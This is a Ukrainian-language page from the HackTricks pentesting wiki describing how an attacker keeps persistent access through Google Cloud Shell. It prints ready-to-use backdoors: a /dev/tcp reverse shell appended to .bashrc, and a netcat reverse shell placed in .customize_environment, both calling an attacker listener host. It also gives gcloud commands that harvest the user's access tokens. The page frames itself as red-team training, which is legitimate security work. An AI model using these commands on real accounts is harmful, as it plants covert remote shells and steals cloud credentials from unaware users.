GCP - Cloud Shell Persistence

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Cloud Shell

Для отримання додаткової інформації перегляньте:

GCP - Cloud Shell Enum

Постійний бекдор

Google Cloud Shell надає вам доступ до командного рядка ваших хмарних ресурсів безпосередньо з вашого браузера без будь-яких супутніх витрат.

Ви можете отримати доступ до Cloud Shell Google з веб-консолі або запустивши gcloud cloud-shell ssh.

Ця консоль має деякі цікаві можливості для атакуючих:

  1. Будь-який користувач Google з доступом до Google Cloud має доступ до повністю автентифікованого екземпляра Cloud Shell (Службові облікові записи можуть, навіть будучи власниками організації).
  2. Цей екземпляр зберігатиме свою домашню директорію принаймні 120 днів, якщо не буде жодної активності.
  3. Немає можливостей для організації моніторити активність цього екземпляра.

Це в основному означає, що атакуючий може помістити бекдор у домашню директорію користувача, і поки користувач підключається до GC Shell принаймні кожні 120 днів, бекдор виживе, і атакуючий отримає оболонку щоразу, коли вона запускається, просто виконавши:

bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

В домашній папці є ще один файл під назвою .customize_environment, який, якщо існує, буде виконуватись щоразу, коли користувач отримує доступ до cloud shell (як у попередній техніці). Просто вставте попередній бекдор або один з наступних, щоб підтримувати стійкість, поки користувач "часто" використовує cloud shell:

bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

warning

Важливо зазначити, що перший раз, коли виконується дія, що вимагає аутентифікації, у браузері користувача з'являється вікно авторизації. Це вікно потрібно прийняти, перш ніж команда зможе виконатися. Якщо з'явиться несподіване вікно, це може викликати підозру і потенційно скомпрометувати метод збереження.

Це вікно з'являється при виконанні gcloud projects list з cloud shell (як атакуючий), яке видно в сеансі браузера користувача:

Однак, якщо користувач активно використовував cloudshell, вікно не з'явиться, і ви можете збирати токени користувача за допомогою:

bash
gcloud auth print-access-token
gcloud auth application-default print-access-token

Як встановлюється з'єднання SSH

В основному, використовуються ці 3 API виклики:

Але ви можете знайти додаткову інформацію в https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks